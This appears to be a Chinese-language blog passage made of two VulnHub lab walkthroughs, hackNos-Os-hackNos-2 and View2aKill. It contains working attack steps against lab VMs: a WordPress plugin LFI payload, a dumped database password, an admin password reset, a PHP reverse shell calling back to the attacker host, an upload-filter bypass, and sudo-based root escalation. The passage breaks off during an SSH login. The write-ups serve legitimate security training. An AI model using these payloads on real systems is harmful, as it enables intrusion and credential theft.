 | Found By: Style (Passive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/themes/twentynineteen/style.css, Match: 'Version: 1.4'

[+] twentyseventeen
 | Location: http://192.168.56.101/tsweb/wp-content/themes/twentyseventeen/
 | Latest Version: 2.2 (up to date)
 | Last Updated: 2019-05-07T00:00:00.000Z
 | Readme: http://192.168.56.101/tsweb/wp-content/themes/twentyseventeen/readme.txt
 | Style URL: http://192.168.56.101/tsweb/wp-content/themes/twentyseventeen/style.css
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |
 | Version: 2.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/themes/twentyseventeen/style.css, Match: 'Version: 2.2'

[+] twentysixteen
 | Location: http://192.168.56.101/tsweb/wp-content/themes/twentysixteen/
 | Latest Version: 2.0 (up to date)
 | Last Updated: 2019-05-07T00:00:00.000Z
 | Readme: http://192.168.56.101/tsweb/wp-content/themes/twentysixteen/readme.txt
 | Style URL: http://192.168.56.101/tsweb/wp-content/themes/twentysixteen/style.css
 | Style Name: Twenty Sixteen
 | Style URI: https://wordpress.org/themes/twentysixteen/
 | Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead ...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |
 | Version: 2.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/themes/twentysixteen/style.css, Match: 'Version: 2.0'

[+] twentytwenty
 | Location: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/
 | Last Updated: 2019-12-13T00:00:00.000Z
 | Readme: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.1
 | Style URL: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/style.css
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Known Locations (Aggressive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/style.css, Match: 'Version: 1.0'

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:04 <=========================================================================================================================================================> (2575 / 2575) 100.00% Time: 00:00:04

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==============================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up.

[+] Finished: Thu Dec 19 03:35:57 2019
[+] Requests Done: 23078
[+] Cached Requests: 46
[+] Data Sent: 5.699 MB
[+] Data Received: 3.448 MB
[+] Memory used: 239.552 MB
[+] Elapsed time: 00:00:49
```

网上搜索gracemedia-media-player插件发现存在本地文件包含漏洞，参考文章[WordPress GraceMedia Media Player 1.0 Local File Inclusion](https://cxsecurity.com/issue/WLB-2019030113)

``` bash
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin 
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin 
syslog:x:102:106::/home/syslog:/usr/sbin/nologin 
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin 
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin 
lxd:x:105:65534::/var/lib/lxd/:/bin/false 
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin 
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin 
pollinate:x:109:1::/var/cache/pollinate:/bin/false 
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin 
rohit:x:1000:1000:hackNos:/home/rohit:/bin/bash 
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false 
flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash
```

在此找到flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/,将$1$flag$vqjCxzjtRc7PofLYS2lWf/解密得到结果topsecret

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub75.jpg)

``` bash
http://192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub74.jpg)

然后使用flag/topsecret连接ssh

``` bash
root@kali:~# ssh flag@192.168.56.101
flag@192.168.56.101's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 4.0


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

5 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Thu Dec 19 09:18:02 2019 from 192.168.56.102
Could not chdir to home directory /home/flag: No such file or directory
flag@hacknos:/$ id
uid=1001(flag) gid=1003(flag) groups=1003(flag)
flag@hacknos:/$ whoami
flag
flag@hacknos:/$ pwd
/
flag@hacknos:/$
```

#### 找第一个flag

继续从之前得到的ssh用户的flag账号开始入手getshell

``` bash
flag@hacknos:/$ ls /var/www/html/tsweb/
index.php    readme.html      wp-admin            wp-comments-post.php  wp-config-sample.php  wp-cron.php  wp-links-opml.php  wp-login.php  wp-settings.php  wp-trackback.php
license.txt  wp-activate.php  wp-blog-header.php  wp-config.php         wp-content            wp-includes  wp-load.php        wp-mail.php   wp-signup.php    xmlrpc.php
```
查看配置文件得到数据库的账号密码

``` bash
flag@hacknos:/$ cat /var/www/html/tsweb/wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'hackNos-2.com' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

tsweb:
define( 'WP_SITEURL', 'http://' .$_SERVER['HTTP_HOST'].'/tsweb');
define( 'WP_HOME', 'http://' .$_SERVER['HTTP_HOST'].'/tsweb');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'Z ly}}yxO6baps19c+.Ze(sw:r$o1M.oFLN]1vwc,pkQ8l{o`6%w8u*c`4#O>[4S' );
define( 'SECURE_AUTH_KEY',  'lGjW6}I8iVCK]/<;cfBh`c[yB$^XIbt(m7%d-;kvA4LW<qAgxNZsw3ogYw8&Vp<1' );
define( 'LOGGED_IN_KEY',    'ntPjJGZO55`]ki>qpn/np9(1uN;kA]-NKM<&g2HV(6>IqG[^z}^kMl& }FA#* Y#' );
define( 'NONCE_KEY',        'Sd]xrTb,rC(s#-m.A|pExO4wJv$G|RjjVNR}WPjj;T)uTGhLfsDt=4vHPo3lb./M' );
define( 'AUTH_SALT',        '$EM:;(zkTmf6qvF3rU=|{WhROYu7h.fIwB(Zmj8b17+OOPSebjm&u<~]xv_`eHR`' );
define( 'SECURE_AUTH_SALT', ':lDagF8+F*{wa7~Ap+J^d,aFhV*)j;<{T!<[(X!C5~ZE;,B[v]uyJs7Df)G{CL~2' );
define( 'LOGGED_IN_SALT',   'Yh04TE3)wNX+H**.2UgS?E=}2 6B*WPk>kd$Fb.&&~J3UL^f+fL|IsM}uh)<O!RS' );
define( 'NONCE_SALT',       '|Nmraflo$=2t!/,=oy;.,4nK43OwzrVX*H:KdVu$myoQ@VP^H.BP#pV8905gjj}s' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );
```

very nice，使用以下命令连接数据库

``` bash
flag@hacknos:/$ mysql -h localhost -uwpuser -phackNos-2.com                                                                                                                                                                                
mysql: [Warning] Using a password on the command line interface can be insecure.                                                                                                                                                           
Welcome to the MySQL monitor.  Commands end with ; or \g.                                                                                                                                                                                  
Your MySQL connection id is 18                                                                                                                                                                                                             
Server version: 5.7.27-0ubuntu0.18.04.1 (Ubuntu)                                                                                                                                                                                           
                                                                                                                                                                                                                                           
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.                                                                                                                                                               
                                                                                                                                                                                                                                           
Oracle is a registered trademark of Oracle Corporation and/or its                                                                                                                                                                          
affiliates. Other names may be trademarks of their respective                                                                                                                                                                              
owners.                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                           
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.                                                                                                                                                             
                                                                                                                                                                                                                                           
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.00 sec)

mysql>
```

成功连接数据库，接下来查看wordpress数据库中的数据表并且查看后台user用户的密码的hash值

``` bash
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email            | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | user       | $P$B.O0cLMNmn7EoX.JMHPnNIPuBYw6S2/ | user          | rahulgehlaut@mail.com |          | 2019-11-17 17:56:53 |                     |           0 | user         |
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
```

我试了一下将$P$B.O0cLMNmn7EoX.JMHPnNIPuBYw6S2/解密，发现无法解密，使用下面的命令修改user的密码成为user。

``` bash
mysql> update wp_users set user_pass=md5("user") where user_login='user';
Query OK, 1 row affected (0.05 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from wp_users;
+----+------------+----------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                        | user_nicename | user_email            | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+----------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | user       | ee11cbb19052e40b07aac0ca060c23ee | user          | rahulgehlaut@mail.com |          | 2019-11-17 17:56:53 |                     |           0 | user         |
+----+------------+----------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email            | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | user       | $P$BRis7BEtqoG2Rvm0bIbgz.c1fl79YI. | user          | rahulgehlaut@mail.com |          | 2019-11-17 17:56:53 |                     |           0 | user         |
+----+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
```
$P$BRis7BEtqoG2Rvm0bIbgz.c1fl79YI.解密出来结果就是user,修改成功,登录后台.

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub76.jpg)


将php reverse shell中的ip修改成kali端监听的ip，然后进入wordpress后台的模板修改界面，将
readme.txt文件内的内容改为php reverse shell木马中的内容,然后访问readme.txt文件发现成功修改。

``` bash
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.102';  // CHANGE THIS
$port = 5566;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub77.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub78.jpg)

然后利用之前的LFI漏洞包含该txt文件，然后kali端监听


浏览器执行

``` bash
192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../var/www/html/tsweb/wp-content/themes/twentytwenty/readme.txt
```

kali端成功返回shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.101: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 49214
Linux hacknos 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:45:19 up  1:45,  2 users,  load average: 0.06, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
flag     pts/0    192.168.56.102   02:04   13:38   0.03s  0.03s -rbash
flag     pts/1    192.168.56.102   02:11   43:03   0.02s  0.01s mysql -h localhost -uwpuser -px xxxxxxxxxxx
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@hacknos:/var/www/html/tsweb$ ls
ls
index.php        wp-blog-header.php    wp-cron.php        wp-mail.php
license.txt      wp-comments-post.php  wp-includes        wp-settings.php
readme.html      wp-config-sample.php  wp-links-opml.php  wp-signup.php
wp-activate.php  wp-config.php         wp-load.php        wp-trackback.php
wp-admin         wp-content            wp-login.php       xmlrpc.php
```

 - 注意：

运行

``` bash
python -c 'import pty; pty.spawn("/bin/bash")'
```
这条命令很重要，运行后将能获得一个可交互的pty的shell,不运行的话很多命令无法执行。

进入到/var/backups/passbkp目录下查看md5-hash的值

``` bash
www-data@hacknos:/var/backups/passbkp$ cat md5-hash
cat md5-hash
$1$rohit$01Dl0NQKtgfeL08fGrggi0
```

解密hash值得到!%hack41

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub79.jpg)

ssh登录rohit用户，找到第一个flag,user.txt

``` bash
rohit@hacknos:~$ ls
user.txt
rohit@hacknos:~$ cat user.txt
############################################ 
 __    __   _______   ______    ______             
/  |  /  | /       | /      \  /      \   
$$ |  $$ |/$$$$$$$/ /$$$$$$  |/$$$$$$  |
$$ |  $$ |$$      \ $$    $$ |$$ |  
$$ \__$$ | $$$$$$  |$$$$$$$$/ $$ |       
$$    $$/ /     $$/ $$       |$$ |           
 $$$$$$/  $$$$$$$/   $$$$$$$/ $$/       
                                                                                       
                                                                                       
                                                                                       
############################################

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
```

#### 提权

帅呆了，下面提权，找到第二个flag

运行下面命令寻找SUID提权可执行文件

``` bash
rohit@hacknos:~$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
/bin/umount
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newuidmap
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
```

发现/usr/bin/passwd和/usr/bin/sudo都具有SUID权限，就可以使用sudo passwd修改root账户的密码，从而实现root用户登录

``` bash
rohit@hacknos:~$ sudo passwd
[sudo] password for rohit: (输入rohit用户的密码)
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
```

root登录

``` bash
rohit@hacknos:~$ su
Password: 
root@hacknos:/home/rohit#cd /root
root@hacknos:~# ls
root.txt
root@hacknos:~# cat root.txt 
 _______                         __              __  __     #
/       \                       /  |            /  |/  |    #
$$$$$$$  |  ______    ______   _$$ |_          _$$ |$$ |_   #
$$ |__$$ | /      \  /      \ / $$   |        / $$  $$   |  #
$$    $$< /$$$$$$  |/$$$$$$  |$$$$$$/         $$$$$$$$$$/   #
$$$$$$$  |$$ |  $$ |$$ |  $$ |  $$ | __       / $$  $$   |  # 
$$ |  $$ |$$ \__$$ |$$ \__$$ |  $$ |/  |      $$$$$$$$$$/   #
$$ |  $$ |$$    $$/ $$    $$/   $$  $$/         $$ |$$ |    #
$$/   $$/  $$$$$$/   $$$$$$/     $$$$/          $$/ $$/     #
#############################################################                                                          
                                                          
#############################################################                                                          
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

Blog : www.hackNos.com

Author : Rahul Gehlaut

linkedin : https://www.linkedin.com/in/rahulgehlaut/
#############################################################
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub80.jpg)

至此第二个flag已经找到，挑战结束，帅掉渣。

各位大虾看了觉得不错的话。请捐助我一点，不要白嫖，thanks very much.

(本文全网首发，google都搜不到，发布日期：2019/12/20)

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>

<!-- kb:end hackNos-Os-hackNos-2-1 -->

</details>

<a id="case-view2akill"></a>

## 应用备份与凭据线索

开发目录、压缩包和本地脚本串起账户转换，原文保留模糊测试和后续反向连接的脚本。

<p class="kb-provenance">来源 View2aKill · 原记录 2020-01-20 · 22 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-view2akill">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start View2aKill -->

#### 名称

名称：View2aKill: 1
发布日期：2019年10月29日

#### 下载

 - Download: https://drive.google.com/file/d/1Mi2rE0uffq7MPSve3_trnUtxln4HgKy_/view
 - Download (Mirror): https://download.vulnhub.com/view2akill/View2aKill.ova
 - Download (Torrent): https://download.vulnhub.com/view2akill/View2aKill.ova.torrent



#### 描述

使命：百万富翁的精神病学家Max Zorin是破坏硅谷计划的幕后策划者，该计划旨在夺取国际微芯片市场的控制权。root并阻止这个疯子实现目标！

 - 难度：中级
 - flag是/root/flag/flag.sh
 - 在VMware中使用。启用DHCP。
 - 学习目标：Web应用程序安全性，脚本，Linux枚举等。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub171.jpg)

顺带说一句，这个靶机的背景图挺酷的。。。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.112
Host is up (0.00024s latency).
MAC Address: 08:00:27:B0:44:15 (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -p- -sV -Pn -v 192.168.56.112
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp   open  smtp    Postfix smtpd
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8191/tcp open  http    PHP cli server 5.5 or later

root@kali:~# nmap -sC -v -A -Pn -p 22,25,80,8191 -sV 192.168.56.112
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 54:8e:3a:14:b2:be:03:5c:d4:08:3a:ed:bb:e1:55:53 (RSA)
|   256 aa:be:cb:e1:b6:7f:47:75:29:f7:63:e5:f9:39:78:2e (ECDSA)
|_  256 de:1c:31:e0:15:4d:f5:dc:8e:bc:3c:e4:7d:64:75:54 (ED25519)
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: rain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=rain
| Subject Alternative Name: DNS:rain
| Issuer: commonName=rain
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-07-22T22:11:20
| Not valid after:  2029-07-19T22:11:20
| MD5:   04a9 b97a 8bf2 dc6b 02f2 382b 075b 2e51
|_SHA-1: a4e5 f2f5 efbf 5a3a 215a 9c96 6f9d 10f4 a94e 85bb
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
| http-robots.txt: 4 disallowed entries 
|_/joomla /zorin /dev /defense
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: A View To A Kill
8191/tcp open  http    PHP cli server 5.5 or later
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: electronic controller app
```

查看端口80登陆apache默认页面。检查robots.txt显示了几个目录。检查每一个

``` bash
User-agent: *
Disallow: /joomla
Disallow: /zorin
Disallow: /dev
Disallow: /defense
```

/joomla播放一个webm文件，/zorin好像是有关公司和员工登录信息的信息。./dev是一个打开的目录，其中包含文件和备份文件的列表，因此我将必须检查所有文件，/defense也会播放一个webm文件。

返回/zorin并单击HR boarding。发现有一个用于人力资源管理的/sentrifugo和一个有趣的注释

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub172.jpg)

进入/sentrifugo这是一个登录页面。但没有任何用户名或密码开始。所以从/dev open目录及其中的文件开始，这可能会导致某些问题。并且确定文件e_bkup.tar.gz是否包含登录信息。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub173.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub174.jpg)

压缩包里面有几个文件分别储存了下面的内容

New_Employee_Onboarding_Chuck.rtf:

``` bash
Greeting Chuck, We welcome you to the team! Please login to our HR mgmt portal(which we spoke of) and fill out your profile and Details. Make sure to enter in the descrption of your CISSP under Training & Certificate Details since you mentioned you have it. I will be checking that section often as I need to fill out related paperwork. Login username: chuck@localhost.com and password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007. Sorry for the rigmarole, the Security folks will kill me if I send passwords in clear text. We make some really neat tech here at Zorin, glad you joined the team Chuck Lee! 
```

note_to_mail_admins.txt:

``` bash
Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called "email web gooey platform".  
```

onboarding_email_template.rtf:

``` bash
Greeting EMPLOYEE, We welcome you to the team! Please login to our HR mgmt portaland fill out your profile and Details. Login username: USERNAME@localhost.com and password is: PASSWORD. INSERT ORG SPECIFIC PHRASE, glad you joined the team EMPLOYEE! 
```

Stop_Storing_Passwords.rtf:

``` bash
All, I know you're close with Max, but you can't keep storing your credentials in txt files on your desktop! We already have had complaints of the apps inactivity auto logout feature, but 5 seconds is high enough in my professional opinion. Simply copy pasting credentials in the login fields is bad practice, even if password requirments are set to 32 characters minimun! - Scarpine - Head of Security - CSO CIO
```

所以现在知道用户名是chuck@localhost.com，知道密码应该是什么。所以继续尝试连接有关密码的所有部分。在该打开的目录中，有一个名为remote_control.gif的文件。其中显示单词HELICOPTER的文件，还有一个名为HID6005.pdf的文件，在规范部分，发送频率为125kHz。helicopter125应该是密码！并且肯定是的。

能够登录到人力资源管理。找不到任何有趣的东西，所以决定寻找sendrifugo漏洞，并且有几对我将使用exploitdb列出的第一个漏洞[Sentrifugo-3-2-File-Upload-Restriction-Bypass](https://www.exploit-db.com/exploits/47323)

发现可以在收据下的“费用”部分上传某些类型的文件。将php-reverse-shell文件重命名为phpreverseshell1.php.doc并上传，并用burp拦截了将文件名更改为phpreverseshell1.php的请求。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub175.gif)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub176.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub177.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub178.jpg)

访问下面的url，成功弹回shell

``` bash
http://192.168.56.112/sentrifugo/public/uploads/expenses_receipts/1579806690_3_phpreverseshell1.php
```

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.112: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.112] 55570
Linux view 4.15.0-66-generic #75-Ubuntu SMP Tue Oct 1 05:24:09 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:12:10 up  1:23,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@view:/$
```
在/home/jenny目录下发现一个压缩包，将它下载下来看看里面有什么

``` bash
www-data@view:/home/jenny$ ls
ls
dsktp_backup.zip
www-data@view:/home/jenny$ python -m SimpleHTTPServer
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub179.jpg)

passswords.txt:

``` bash
hr mgmt - NO ACCESS ANYMORE
jenny@localhost.com
ThisisAreallYLONGPAssw0rdWHY!!!!

ssh
jenny
!!!sfbay!!!
```

``` bash
root@kali:~# ssh jenny@192.168.56.112
Enter passphrase for key '/root/.ssh/id_rsa': 
jenny@192.168.56.112's password: 
